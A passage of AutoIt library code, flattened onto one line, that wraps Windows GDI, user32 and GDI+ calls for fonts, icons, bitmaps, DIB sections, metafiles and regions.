@extended, False) Return $aret[0] EndFunc Func _winapi_addfontmemresourceex($pdata, $isize) Local $aret = DllCall("gdi32.dll", "handle", "AddFontMemResourceEx", "ptr", $pdata, "dword", $isize, "ptr", 0, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aret[4], $aret[0]) EndFunc Func _winapi_addfontresourceex($sfont, $iflag = 0, $bnotify = False) Local $aret = DllCall("gdi32.dll", "int", "AddFontResourceExW", "wstr", $sfont, "dword", $iflag, "ptr", 0) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0) If $bnotify Then Local Const $wm_fontchange = 29 Local Const $hwnd_broadcast = 65535 DllCall("user32.dll", "lresult", "SendMessage", "hwnd", $hwnd_broadcast, "uint", $wm_fontchange, "wparam", 0, "lparam", 0) EndIf Return $aret[0] EndFunc Func _winapi_addiconoverlay($hicon, $hoverlay) Local $aret, $hresult = 0, $ierror = 0 Local $ahdev[2] = [0, 0] Local $tsize = _winapi_geticondimension($hicon) Local $hil = DllCall("comctl32.dll", "handle", "ImageList_Create", "int", DllStructGetData($tsize, 1), "int", DllStructGetData($tsize, 2), "uint", 33, "int", 2, "int", 2) If @error OR NOT $hil[0] Then Return SetError(@error + 10, @extended, 0) Do $ahdev[0] = _winapi_create32bithicon($hicon) If @error Then $ierror = @error + 100 ExitLoop EndIf $aret = DllCall("comctl32.dll", "int", "ImageList_ReplaceIcon", "handle", $hil[0], "int", -1, "handle", $ahdev[0]) If @error OR ($aret[0] = -1) Then $ierror = @error + 200 ExitLoop EndIf $ahdev[1] = _winapi_create32bithicon($hoverlay) If @error Then $ierror = @error + 300 ExitLoop EndIf $aret = DllCall("comctl32.dll", "int", "ImageList_ReplaceIcon", "handle", $hil[0], "int", -1, "handle", $ahdev[1]) If @error OR ($aret[0] = -1) Then $ierror = @error + 400 ExitLoop EndIf $aret = DllCall("comctl32.dll", "bool", "ImageList_SetOverlayImage", "handle", $hil[0], "int", 1, "int", 1) If @error OR NOT $aret[0] Then $ierror = @error + 500 ExitLoop EndIf $aret = DllCall("comctl32.dll", "handle", "ImageList_GetIcon", "handle", $hil[0], "int", 0, "uint", 256) If @error OR NOT $aret[0] Then $ierror = @error + 600 ExitLoop EndIf $hresult = $aret[0] Until 1 DllCall("comctl32.dll", "bool", "ImageList_Destroy", "handle", $hil[0]) For $i = 0 To 1 If $ahdev[$i] Then _winapi_destroyicon($ahdev[$i]) EndIf Next If NOT $hresult Then Return SetError($ierror, 0, 0) Return $hresult EndFunc Func _winapi_adjustbitmap($hbitmap, $iwidth, $iheight, $imode = 3, $tadjustment = 0) Local $tobj = DllStructCreate($tagbitmap) Local $aret = DllCall("gdi32.dll", "int", "GetObject", "handle", $hbitmap, "int", DllStructGetSize($tobj), "struct*", $tobj) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0) If $iwidth = -1 Then $iwidth = DllStructGetData($tobj, "bmWidth") EndIf If $iheight = -1 Then $iheight = DllStructGetData($tobj, "bmHeight") EndIf $aret = DllCall("user32.dll", "handle", "GetDC", "hwnd", 0) Local $hdc = $aret[0] $aret = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc) Local $hdestdc = $aret[0] $aret = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight) Local $hbmp = $aret[0] $aret = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdestdc, "handle", $hbmp) Local $hdestsv = $aret[0] $aret = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc) Local $hsrcdc = $aret[0] $aret = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hsrcdc, "handle", $hbitmap) Local $hsrcsv = $aret[0] If _winapi_setstretchbltmode($hdestdc, $imode) Then Switch $imode Case 4 If IsDllStruct($tadjustment) Then If NOT _winapi_setcoloradjustment($hdestdc, $tadjustment) Then EndIf EndIf Case Else EndSwitch EndIf $aret = _winapi_stretchblt($hdestdc, 0, 0, $iwidth, $iheight, $hsrcdc, 0, 0, DllStructGetData($tobj, "bmWidth"), DllStructGetData($tobj, "bmHeight"), 13369376) DllCall("user32.dll", "int", "ReleaseDC", "hwnd", 0, "handle", $hdc) DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdestdc, "handle", $hdestsv) DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hsrcdc, "handle", $hsrcsv) DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdestdc) DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hsrcdc) If NOT $aret Then Return SetError(10, 0, 0) Return $hbmp EndFunc Func _winapi_alphablend($hdestdc, $ixdest, $iydest, $iwidthdest, $iheightdest, $hsrcdc, $ixsrc, $iysrc, $iwidthsrc, $iheightsrc, $ialpha, $balpha = False) Local $iblend = BitOR(BitShift(NOT ($balpha = False), -24), BitShift(BitAND($ialpha, 255), -16)) Local $aret = DllCall("gdi32.dll", "bool", "GdiAlphaBlend", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidthdest, "int", $iheightdest, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "int", $iwidthsrc, "int", $iheightsrc, "dword", $iblend) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_anglearc($hdc, $ix, $iy, $iradius, $nstartangle, $nsweepangle) Local $aret = DllCall("gdi32.dll", "bool", "AngleArc", "handle", $hdc, "int", $ix, "int", $iy, "dword", $iradius, "float", $nstartangle, "float", $nsweepangle) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_arc($hdc, $trect, $ixstartarc, $iystartarc, $ixendarc, $iyendarc) Local $aret = DllCall("gdi32.dll", "bool", "Arc", "handle", $hdc, "int", DllStructGetData($trect, 1), "int", DllStructGetData($trect, 2), "int", DllStructGetData($trect, 3), "int", DllStructGetData($trect, 4), "int", $ixstartarc, "int", $iystartarc, "int", $ixendarc, "int", $iyendarc) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_arcto($hdc, $trect, $ixradial1, $iyradial1, $ixradial2, $iyradial2) Local $aret = DllCall("gdi32.dll", "bool", "ArcTo", "handle", $hdc, "int", DllStructGetData($trect, 1), "int", DllStructGetData($trect, 2), "int", DllStructGetData($trect, 3), "int", DllStructGetData($trect, 4), "int", $ixradial1, "int", $iyradial1, "int", $ixradial2, "int", $iyradial2) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_beginpaint($hwnd, ByRef $tpaintstruct) $tpaintstruct = DllStructCreate($tagpaintstruct) Local $aret = DllCall("user32.dll", "handle", "BeginPaint", "hwnd", $hwnd, "struct*", $tpaintstruct) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_beginpath($hdc) Local $aret = DllCall("gdi32.dll", "bool", "BeginPath", "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_closeenhmetafile($hdc) Local $aret = DllCall("gdi32.dll", "handle", "CloseEnhMetaFile", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_closefigure($hdc) Local $aret = DllCall("gdi32.dll", "bool", "CloseFigure", "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_coloradjustluma($irgb, $ipercent, $bscale = True) If $irgb = -1 Then Return SetError(10, 0, -1) If $bscale Then $ipercent = Floor($ipercent * 10) EndIf Local $aret = DllCall("shlwapi.dll", "dword", "ColorAdjustLuma", "dword", __rgb($irgb), "int", $ipercent, "bool", $bscale) If @error Then Return SetError(@error, @extended, -1) Return __rgb($aret[0]) EndFunc Func _winapi_colorhlstorgb($ihue, $iluminance, $isaturation) If NOT $isaturation Then $ihue = 160 Local $aret = DllCall("shlwapi.dll", "dword", "ColorHLSToRGB", "word", $ihue, "word", $iluminance, "word", $isaturation) If @error Then Return SetError(@error, @extended, -1) Return __rgb($aret[0]) EndFunc Func _winapi_colorrgbtohls($irgb, ByRef $ihue, ByRef $iluminance, ByRef $isaturation) Local $aret = DllCall("shlwapi.dll", "none", "ColorRGBToHLS", "dword", __rgb($irgb), "word*", 0, "word*", 0, "word*", 0) If @error Then Return SetError(@error, @extended, 0) $ihue = $aret[2] $iluminance = $aret[3] $isaturation = $aret[4] Return 1 EndFunc Func _winapi_combinetransform($txform1, $txform2) Local $txform = DllStructCreate($tagxform) Local $aret = DllCall("gdi32.dll", "bool", "CombineTransform", "struct*", $txform, "struct*", $txform1, "struct*", $txform2) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $txform EndFunc Func _winapi_compressbitmapbits($hbitmap, ByRef $pbuffer, $icompression = 0, $iquality = 100) If NOT __dll("gdiplus.dll") Then Return SetError(103, 0, 0) Local $asize[2], $icount, $iformat, $ilength, $smime, $aret, $hdc, $hsv, $hmem, $tbits, $tdata, $pdata, $ierror = 1 Local $hsource = 0, $himage = 0, $htoken = 0, $pstream = 0, $tparam = 0 Local $tdib = DllStructCreate($tagdibsection) Do Switch $icompression Case 0 $smime = "image/png" Case 1 $smime = "image/jpeg" Case Else $ierror = 10 ExitLoop EndSwitch While $hbitmap If NOT _winapi_getobject($hbitmap, DllStructGetSize($tdib), $tdib) Then $ierror = 11 ExitLoop 2 EndIf If (DllStructGetData($tdib, "bmBitsPixel") = 32) AND (NOT DllStructGetData($tdib, "biCompression")) Then $ierror = 12 ExitLoop EndIf If $hsource Then $ierror = 13 ExitLoop 2 EndIf $hsource = _winapi_createdib(DllStructGetData($tdib, "bmWidth"), DllStructGetData($tdib, "bmHeight")) If NOT $hsource Then $ierror = @error + 100 ExitLoop 2 EndIf $hdc = _winapi_createcompatibledc(0) $hsv = _winapi_selectobject($hdc, $hsource) If _winapi_drawbitmap($hdc, 0, 0, $hbitmap) Then $hbitmap = $hsource Else $ierror = @error + 200 $hbitmap = 0 EndIf _winapi_selectobject($hdc, $hsv) _winapi_deletedc($hdc) WEnd If NOT $hbitmap Then ExitLoop EndIf For $i = 0 To 1 $asize[$i] = DllStructGetData($tdib, $i + 2) Next $tbits = DllStructCreate("byte[" & ($asize[0] * $asize[1] * 4) & "]") If NOT _winapi_getbitmapbits($hbitmap, DllStructGetSize($tbits), $tbits) Then $ierror = @error + 300 ExitLoop EndIf $tdata = DllStructCreate($taggdipstartupinput) DllStructSetData($tdata, "Version", 1) $aret = DllCall("gdiplus.dll", "int", "GdiplusStartup", "ulong_ptr*", 0, "struct*", $tdata, "ptr", 0) If @error OR $aret[0] Then $ierror = @error + 400 ExitLoop EndIf If _winapi_isalphabitmap($hbitmap) Then $iformat = 2498570 Else $iformat = 139273 EndIf $htoken = $aret[1] $aret = DllCall("gdiplus.dll", "int", "GdipCreateBitmapFromScan0", "int", $asize[0], "int", $asize[1], "uint", $asize[0] * 4, "int", $iformat, "struct*", $tbits, "ptr*", 0) If @error OR $aret[0] Then $ierror = @error + 500 ExitLoop EndIf $himage = $aret[6] $aret = DllCall("gdiplus.dll", "int", "GdipGetImageEncodersSize", "uint*", 0, "uint*", 0) If @error OR $aret[0] Then $ierror = @error + 600 ExitLoop EndIf $icount = $aret[1] $tdata = DllStructCreate("byte[" & $aret[2] & "]") If @error Then $ierror = @error + 700 ExitLoop EndIf $pdata = DllStructGetPtr($tdata) $aret = DllCall("gdiplus.dll", "int", "GdipGetImageEncoders", "uint", $icount, "uint", $aret[2], "struct*", $tdata) If @error OR $aret[0] Then $ierror = @error + 800 ExitLoop EndIf Local $tcodec, $pencoder = 0 For $i = 1 To $icount $tcodec = DllStructCreate($taggdipimagecodecinfo, $pdata) If NOT StringInStr(_winapi_widechartomultibyte(DllStructGetData($tcodec, "MimeType")), $smime) Then $pdata += DllStructGetSize($taggdipimagecodecinfo) Else $pencoder = $pdata $ierror = 0 ExitLoop EndIf Next If NOT $pencoder Then $ierror = 15 ExitLoop EndIf Switch $icompression Case 0 Case 1 Local Const $tagencoderparameter = "byte[16] GUID;ulong NumberOfValues;dword Type;ptr pValue" $tparam = DllStructCreate("dword Count;" & $tagencoderparameter & ";ulong Quality") DllStructSetData($tparam, "Count", 1) DllStructSetData($tparam, "NumberOfValues", 1) DllStructSetData($tparam, "Type", 4) DllStructSetData($tparam, "pValue", DllStructGetPtr($tparam, "Quality")) DllStructSetData($tparam, "Quality", $iquality) $aret = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", "{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}", "ptr", DllStructGetPtr($tparam, 2)) If @error OR $aret[0] Then $tparam = 0 EndIf EndSwitch $pstream = _winapi_createstreamonhglobal() $aret = DllCall("gdiplus.dll", "int", "GdipSaveImageToStream", "handle", $himage, "ptr", $pstream, "ptr", $pencoder, "struct*", $tparam) If @error OR $aret[0] Then $ierror = @error + 900 ExitLoop EndIf $hmem = _winapi_gethglobalfromstream($pstream) $aret = DllCall("kernel32.dll", "ulong_ptr", "GlobalSize", "handle", $hmem) If @error OR NOT $aret[0] Then $ierror = @error + 1000 ExitLoop EndIf $ilength = $aret[0] $aret = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $hmem) If @error OR NOT $aret[0] Then $ierror = @error + 1100 ExitLoop EndIf $pbuffer = __heaprealloc($pbuffer, $ilength, 1) If NOT @error Then _winapi_movememory($pbuffer, $aret[0], $ilength) Else $ierror = @error + 1300 EndIf Until 1 If $pstream Then _winapi_releasestream($pstream) EndIf If $himage Then DllCall("gdiplus.dll", "int", "GdipDisposeImage", "handle", $himage) EndIf If $htoken Then DllCall("gdiplus.dll", "none", "GdiplusShutdown", "ulong_ptr", $htoken) EndIf If $hsource Then _winapi_deleteobject($hsource) EndIf If $ierror Then Return SetError($ierror, 0, 0) Return $ilength EndFunc Func _winapi_copybitmap($hbitmap) $hbitmap = _winapi_copyimage($hbitmap, 0, 0, 0, 8192) Return SetError(@error, @extended, $hbitmap) EndFunc Func _winapi_copyenhmetafile($hemf, $sfilepath = "") Local $stypeoffile = "wstr" If NOT StringStripWS($sfilepath, $str_stripleading + $str_striptrailing) Then $stypeoffile = "ptr" $sfilepath = 0 EndIf Local $aret = DllCall("gdi32.dll", "handle", "CopyEnhMetaFileW", "handle", $hemf, $stypeoffile, $sfilepath) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_copyimage($himage, $itype = 0, $ixdesiredpixels = 0, $iydesiredpixels = 0, $iflags = 0) Local $aret = DllCall("user32.dll", "handle", "CopyImage", "handle", $himage, "uint", $itype, "int", $ixdesiredpixels, "int", $iydesiredpixels, "uint", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_copyrect($trect) Local $tdata = DllStructCreate($tagrect) Local $aret = DllCall("user32.dll", "bool", "CopyRect", "struct*", $tdata, "struct*", $trect) If @error OR NOT $aret[0] Then SetError(@error + 10, @extended, 0) Return $tdata EndFunc Func _winapi_create32bithbitmap($hicon, $bdib = False, $bdelete = False) Local $hbitmap = 0 Local $adib[2] = [0, 0] Local $htemp = _winapi_create32bithicon($hicon) If @error Then Return SetError(@error, @extended, 0) Local $ierror = 0 Do Local $ticoninfo = DllStructCreate($tagiconinfo) Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $htemp, "struct*", $ticoninfo) If @error OR NOT $aret[0] Then $ierror = @error + 10 ExitLoop EndIf For $i = 0 To 1 $adib[$i] = DllStructGetData($ticoninfo, $i + 4) Next Local $tbitmap = DllStructCreate($tagbitmap) If NOT _winapi_getobject($adib[0], DllStructGetSize($tbitmap), $tbitmap) Then $ierror = @error + 20 ExitLoop EndIf If $bdib Then $hbitmap = _winapi_createdib(DllStructGetData($tbitmap, "bmWidth"), DllStructGetData($tbitmap, "bmHeight")) Local $hdc = _winapi_createcompatibledc(0) Local $hsv = _winapi_selectobject($hdc, $hbitmap) _winapi_drawiconex($hdc, 0, 0, $htemp) _winapi_selectobject($hdc, $hsv) _winapi_deletedc($hdc) Else $hbitmap = $adib[1] $adib[1] = 0 EndIf Until 1 For $i = 0 To 1 If $adib[$i] Then _winapi_deleteobject($adib[$i]) EndIf Next _winapi_destroyicon($htemp) If $ierror Then Return SetError($ierror, 0, 0) If NOT $hbitmap Then Return SetError(12, 0, 0) If $bdelete Then _winapi_destroyicon($hicon) EndIf Return $hbitmap EndFunc Func _winapi_create32bithicon($hicon, $bdelete = False) Local $ahbitmap[2], $hresult = 0 Local $adib[2][2] = [[0, 0], [0, 0]] Local $ticoninfo = DllStructCreate($tagiconinfo) Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $ticoninfo) If @error Then Return SetError(@error, @extended, 0) If NOT $aret[0] Then Return SetError(10, 0, 0) For $i = 0 To 1 $ahbitmap[$i] = DllStructGetData($ticoninfo, $i + 4) Next If _winapi_isalphabitmap($ahbitmap[1]) Then $adib[0][0] = _winapi_createandbitmap($ahbitmap[1]) If NOT @error Then $hresult = _winapi_createiconindirect($ahbitmap[1], $adib[0][0]) EndIf Else Local $tsize = _winapi_getbitmapdimension($ahbitmap[1]) Local $asize[2] For $i = 0 To 1 $asize[$i] = DllStructGetData($tsize, $i + 1) Next Local $hsrcdc = _winapi_createcompatibledc(0) Local $hdstdc = _winapi_createcompatibledc(0) Local $hsrcsv, $hdstsv For $i = 0 To 1 $adib[$i][0] = _winapi_createdib($asize[0], $asize[1]) $adib[$i][1] = $__g_vext $hsrcsv = _winapi_selectobject($hsrcdc, $ahbitmap[$i]) $hdstsv = _winapi_selectobject($hdstdc, $adib[$i][0]) _winapi_bitblt($hdstdc, 0, 0, $asize[0], $asize[1], $hsrcdc, 0, 0, 12583114) _winapi_selectobject($hsrcdc, $hsrcsv) _winapi_selectobject($hdstdc, $hdstsv) Next _winapi_deletedc($hsrcdc) _winapi_deletedc($hdstdc) $aret = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", __xorproc(), "ptr", 0, "uint", $asize[0] * $asize[1] * 4, "wparam", $adib[0][1], "lparam", $adib[1][1]) If NOT @error AND $aret[0] Then $hresult = _winapi_createiconindirect($adib[1][0], $ahbitmap[0]) EndIf EndIf For $i = 0 To 1 _winapi_deleteobject($ahbitmap[$i]) If $adib[$i][0] Then _winapi_deleteobject($adib[$i][0]) EndIf Next If NOT $hresult Then Return SetError(11, 0, 0) If $bdelete Then _winapi_destroyicon($hicon) EndIf Return $hresult EndFunc Func _winapi_createandbitmap($hbitmap) Local $ierror = 0, $hdib = 0 $hbitmap = _winapi_copybitmap($hbitmap) If NOT $hbitmap Then Return SetError(@error + 20, @extended, 0) Do Local $atdib[2] $atdib[0] = DllStructCreate($tagdibsection) If (NOT _winapi_getobject($hbitmap, DllStructGetSize($atdib[0]), $atdib[0])) OR (DllStructGetData($atdib[0], "bmBitsPixel") <> 32) OR (DllStructGetData($atdib[0], "biCompression")) Then $ierror = 10 ExitLoop EndIf $atdib[1] = DllStructCreate($tagbitmap) $hdib = _winapi_createdib(DllStructGetData($atdib[0], "bmWidth"), DllStructGetData($atdib[0], "bmHeight"), 1) If NOT _winapi_getobject($hdib, DllStructGetSize($atdib[1]), $atdib[1]) Then $ierror = 11 ExitLoop EndIf Local $aret = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", __andproc(), "ptr", 0, "uint", 0, "wparam", DllStructGetPtr($atdib[0]), "lparam", DllStructGetPtr($atdib[1])) If @error Then $ierror = @error ExitLoop EndIf If NOT $aret[0] Then $ierror = 12 ExitLoop EndIf $ierror = 0 Until 1 _winapi_deleteobject($hbitmap) If $ierror Then If $hdib Then _winapi_deleteobject($hdib) EndIf $hdib = 0 EndIf Return SetError($ierror, 0, $hdib) EndFunc Func _winapi_createbitmapindirect(ByRef $tbitmap) Local $aret = DllCall("gdi32.dll", "handle", "CreateBitmapIndirect", "struct*", $tbitmap) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_createbrushindirect($istyle, $irgb, $ihatch = 0) Local $tlogbrush = DllStructCreate($taglogbrush) DllStructSetData($tlogbrush, 1, $istyle) DllStructSetData($tlogbrush, 2, __rgb($irgb)) DllStructSetData($tlogbrush, 3, $ihatch) Local $aret = DllCall("gdi32.dll", "handle", "CreateBrushIndirect", "struct*", $tlogbrush) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_createcoloradjustment($iflags = 0, $iilluminant = 0, $igammar = 10000, $igammag = 10000, $igammab = 10000, $iblack = 0, $iwhite = 10000, $icontrast = 0, $ibrightness = 0, $icolorfulness = 0, $itint = 0) Local $tca = DllStructCreate($tagcoloradjustment) DllStructSetData($tca, 1, DllStructGetSize($tca)) DllStructSetData($tca, 2, $iflags) DllStructSetData($tca, 3, $iilluminant) DllStructSetData($tca, 4, $igammar) DllStructSetData($tca, 5, $igammag) DllStructSetData($tca, 6, $igammab) DllStructSetData($tca, 7, $iblack) DllStructSetData($tca, 8, $iwhite) DllStructSetData($tca, 9, $icontrast) DllStructSetData($tca, 10, $ibrightness) DllStructSetData($tca, 11, $icolorfulness) DllStructSetData($tca, 12, $itint) Return $tca EndFunc Func _winapi_createcompatiblebitmapex($hdc, $iwidth, $iheight, $irgb) Local $hbrush = _winapi_createbrushindirect(0, $irgb) Local $aret = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc) Local $hdestdc = $aret[0] $aret = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight) Local $hbmp = $aret[0] $aret = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdestdc, "handle", $hbmp) Local $hdestsv = $aret[0] Local $trect = _winapi_createrectex(0, 0, $iwidth, $iheight) Local $ierror = 0 $aret = DllCall("user32.dll", "int", "FillRect", "handle", $hdestdc, "struct*", $trect, "handle", $hbrush) If @error OR NOT $aret[0] Then $ierror = @error + 10 _winapi_deleteobject($hbmp) EndIf _winapi_deleteobject($hbrush) DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdestdc, "handle", $hdestsv) DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdestdc) If $ierror Then Return SetError($ierror, 0, 0) Return $hbmp EndFunc Func _winapi_createdib($iwidth, $iheight, $ibitsperpel = 32, $tcolortable = 0, $icolorcount = 0) Local $argbq[2], $icolors, $tagrgbq Switch $ibitsperpel Case 1 $icolors = 2 Case 4 $icolors = 16 Case 8 $icolors = 256 Case Else $icolors = 0 EndSwitch If $icolors Then If NOT IsDllStruct($tcolortable) Then Switch $ibitsperpel Case 1 $argbq[0] = 0 $argbq[1] = 16777215 $tcolortable = _winapi_createdibcolortable($argbq) Case Else EndSwitch Else If $icolors > $icolorcount Then $icolors = $icolorcount EndIf If (NOT $icolors) OR ((4 * $icolors) > DllStructGetSize($tcolortable)) Then Return SetError(20, 0, 0) EndIf EndIf $tagrgbq = ";dword aRGBQuad[" & $icolors & "]" Else $tagrgbq = "" EndIf Local $tbitmapinfo = DllStructCreate($tagbitmapinfoheader & $tagrgbq) DllStructSetData($tbitmapinfo, "biSize", 40) DllStructSetData($tbitmapinfo, "biWidth", $iwidth) DllStructSetData($tbitmapinfo, "biHeight", $iheight) DllStructSetData($tbitmapinfo, "biPlanes", 1) DllStructSetData($tbitmapinfo, "biBitCount", $ibitsperpel) DllStructSetData($tbitmapinfo, "biCompression", 0) DllStructSetData($tbitmapinfo, "biSizeImage", 0) DllStructSetData($tbitmapinfo, "biXPelsPerMeter", 0) DllStructSetData($tbitmapinfo, "biYPelsPerMeter", 0) DllStructSetData($tbitmapinfo, "biClrUsed", $icolors) DllStructSetData($tbitmapinfo, "biClrImportant", 0) If $icolors Then If IsDllStruct($tcolortable) Then _winapi_movememory(DllStructGetPtr($tbitmapinfo, "aRGBQuad"), $tcolortable, 4 * $icolors) Else _winapi_zeromemory(DllStructGetPtr($tbitmapinfo, "aRGBQuad"), 4 * $icolors) EndIf EndIf Local $hbitmap = _winapi_createdibsection(0, $tbitmapinfo, 0, $__g_vext) If NOT $hbitmap Then Return SetError(@error, @extended, 0) Return $hbitmap EndFunc Func _winapi_createdibcolortable(Const ByRef $acolortable, $istart = 0, $iend = -1) If __checkerrorarraybounds($acolortable, $istart, $iend) Then Return SetError(@error + 10, @extended, 0) Local $tcolortable = DllStructCreate("dword[" & ($iend - $istart + 1) & "]") Local $icount = 1 For $i = $istart To $iend DllStructSetData($tcolortable, 1, _winapi_switchcolor(__rgb($acolortable[$i])), $icount) $icount += 1 Next Return $tcolortable EndFunc Func _winapi_createdibitmap($hdc, ByRef $tbitmapinfo, $iusage, $pbits = 0) Local $iinit = 0 If $pbits Then $iinit = 4 EndIf Local $aret = DllCall("gdi32.dll", "handle", "CreateDIBitmap", "handle", $hdc, "struct*", $tbitmapinfo, "dword", $iinit, "struct*", $pbits, "struct*", $tbitmapinfo, "uint", $iusage) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_createdibsection($hdc, $tbitmapinfo, $iusage, ByRef $pbits, $hsection = 0, $ioffset = 0) $pbits = 0 Local $aret = DllCall("gdi32.dll", "handle", "CreateDIBSection", "handle", $hdc, "struct*", $tbitmapinfo, "uint", $iusage, "ptr*", 0, "handle", $hsection, "dword", $ioffset) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0) $pbits = $aret[4] Return $aret[0] EndFunc Func _winapi_createellipticrgn($trect) Local $aret = DllCall("gdi32.dll", "handle", "CreateEllipticRgnIndirect", "struct*", $trect) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_createemptyicon($iwidth, $iheight, $ibitsperpel = 32) Local $hxor = _winapi_createdib($iwidth, $iheight, $ibitsperpel) Local $hand = _winapi_createdib($iwidth, $iheight, 1) Local $hdc = _winapi_createcompatibledc(0) Local $hsv = _winapi_selectobject($hdc, $hand) Local $hbrush = _winapi_createsolidbrush(16777215) Local $trect = _winapi_createrect(0, 0, $iwidth, $iheight) _winapi_fillrect($hdc, $trect, $hbrush) _winapi_deleteobject($hbrush) _winapi_selectobject($hdc, $hsv) _winapi_deletedc($hdc) Local $hicon = _winapi_createiconindirect($hxor, $hand) Local $ierror = @error If $hxor Then _winapi_deleteobject($hxor) EndIf If $hand Then _winapi_deleteobject($hand) EndIf If NOT $hicon Then Return SetError($ierror + 10, 0, 0) Return $hicon EndFunc Func _winapi_createenhmetafile($hdc = 0, $trect = 0, $bpixels = False, $sfilepath = "", $sdescription = "") Local $stypeoffile = "wstr" If NOT StringStripWS($sfilepath, $str_stripleading + $str_striptrailing) Then $stypeoffile = "ptr" $sfilepath = 0 EndIf Local $tdata = 0, $adata = StringSplit($sdescription, "|", $str_nocount) If UBound($adata) < 2 Then ReDim $adata[2] $adata[1] = "" EndIf For $i = 0 To 1 $adata[$i] = StringStripWS($adata[$i], $str_stripleading + $str_striptrailing) Next If ($adata[0]) OR ($adata[1]) Then $tdata = _winapi_arraytostruct($adata) EndIf Local $ixp, $iyp, $ixm, $iym, $href = 0 If $bpixels AND (IsDllStruct($trect)) Then If NOT $hdc Then $href = _winapi_getdc(0) EndIf $ixp = _winapi_getdevicecaps($href, 8) $iyp = _winapi_getdevicecaps($href, 10) $ixm = _winapi_getdevicecaps($href, 4) $iym = _winapi_getdevicecaps($href, 6) If $href Then _winapi_releasedc(0, $href) EndIf For $i = 1 To 3 Step 2 DllStructSetData($trect, $i, Round(DllStructGetData($trect, $i) * $ixm / $ixp * 100)) Next For $i = 2 To 4 Step 2 DllStructSetData($trect, $i, Round(DllStructGetData($trect, $i) * $iym / $iyp * 100)) Next EndIf Local $aret = DllCall("gdi32.dll", "handle", "CreateEnhMetaFileW", "handle", $hdc, $stypeoffile, $sfilepath, "struct*", $trect, "struct*", $tdata) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_createfontex($iheight, $iwidth = 0, $iescapement = 0, $iorientation = 0, $iweight = 400, $bitalic = False, $bunderline = False, $bstrikeout = False, $icharset = 1, $ioutprecision = 0, $iclipprecision = 0, $iquality = 0, $ipitchandfamily = 0, $sfacename = "", $istyle = 0) Local $aret = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $iheight, "int", $iwidth, "int", $iescapement, "int", $iorientation, "int", $iweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $icharset, "dword", $ioutprecision, "dword", $iclipprecision, "dword", $iquality, "dword", $ipitchandfamily, "wstr", _winapi_getfontname($sfacename, $istyle, $icharset)) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_createiconindirect($hbitmap, $hmask, $ixhotspot = 0, $iyhotspot = 0, $bicon = True) Local $ticoninfo = DllStructCreate($tagiconinfo) DllStructSetData($ticoninfo, 1, $bicon) DllStructSetData($ticoninfo, 2, $ixhotspot) DllStructSetData($ticoninfo, 3, $iyhotspot) DllStructSetData($ticoninfo, 4, $hmask) DllStructSetData($ticoninfo, 5, $hbitmap) Local $aret = DllCall("user32.dll", "handle", "CreateIconIndirect", "struct*", $ticoninfo) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_createnullrgn() Local $aret = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", 0, "int", 0, "int", 0, "int", 0) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_createpolygonrgn(Const ByRef $apoint, $istart = 0, $iend = -1, $imode = 1) If __checkerrorarraybounds($apoint, $istart, $iend, 2, 2) Then Return SetError(@error + 10, @extended, 0) Local $tagstruct = "" For $i = $istart To $iend $tagstruct &= "int[2];" Next Local $tdata = DllStructCreate($tagstruct) Local $icount = 1 For $i = $istart To $iend For $j = 0 To 1 DllStructSetData($tdata, 